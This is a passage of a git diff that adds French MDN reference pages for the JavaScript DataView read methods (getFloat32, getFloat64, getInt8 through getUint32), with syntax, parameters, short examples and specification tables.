+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getFloat32">Utilisation de la méthode <code>getFloat32</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getFloat32(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getFloat32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html
new file mode 100644
index 0000000000..b6f24fb7bc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getFloat64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat64
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getFloat64()</code></strong> permet de lire un entier signé sur 64 bits (type <em>double</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getfloat64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getFloat64(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre flottant signé sur 64 bits.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getFloat64">Utilisation de la méthode <code>getFloat64</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getFloat64(0); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getFloat64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html
new file mode 100644
index 0000000000..5a87490a9a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getInt16()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt16
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt16
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getInt16()</code></strong> permet de lire un entier signé sur 16 bits (type <em>short</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getint16.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getInt16(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier signé sur 16 bits.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getInt16">Utilisation de la méthode <code>getInt16</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt16(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getInt16")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html
new file mode 100644
index 0000000000..74ffeb6a6b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getInt32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getInt32()</code></strong> permet de lire un entier signé sur 32 bits (type <em>long</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getint32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getInt32(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier signé sur 32 bits.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getInt32">Utilisation de la méthode <code>getInt32</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt32(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getInt32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html
new file mode 100644
index 0000000000..4096b6736b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html
@@ -0,0 +1,94 @@
+---
+title: DataView.prototype.getInt8()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt8
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt8
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getInt8()</code></strong> permet de lire un entier signé sur 8 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getint8.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getInt8(positionOctet)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier signé sur 8 bits.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getInt8">Utilisation de la méthode <code>getInt8</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt8(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getInt8")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html
new file mode 100644
index 0000000000..9ab325e790
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getUint16()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint16
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint16
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUint16()</code></strong> permet de lire un entier non-signé sur 16 bits (type <em>unsigned short</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getuint16.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getUint16(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier sur 16 bits non signé.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getUint16">Utilisation de la méthode <code>getUint16</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint16(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getUint16")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html
new file mode 100644
index 0000000000..901321e34a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getUint32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUint32()</code></strong> permet de lire un entier non-signé sur 32 bits (type <em>unsigned long</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getuint32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getUint32(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier sur 32 bits, non-signé.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getUint32()">Utilisation de la méthode <code>getUint32()</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint32(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getUint32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html
new file mode 100644
index 0000000000..1a4545b47e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html
@@ -0,0 +1,94 @@
+---
+title: DataView.prototype.getUint8()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint8
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint8
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUint8()</code></strong> permet de lire un entier non-signé sur 8 bits à l'octet donné par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getuint8.html")}}</div>
+
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getUint8(positionOctet)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier sur 8 bits, non-signé.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getUint8">Utilisation de la méthode <code>getUint8</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint8(1); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getUint8")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/index.html
new file mode 100644
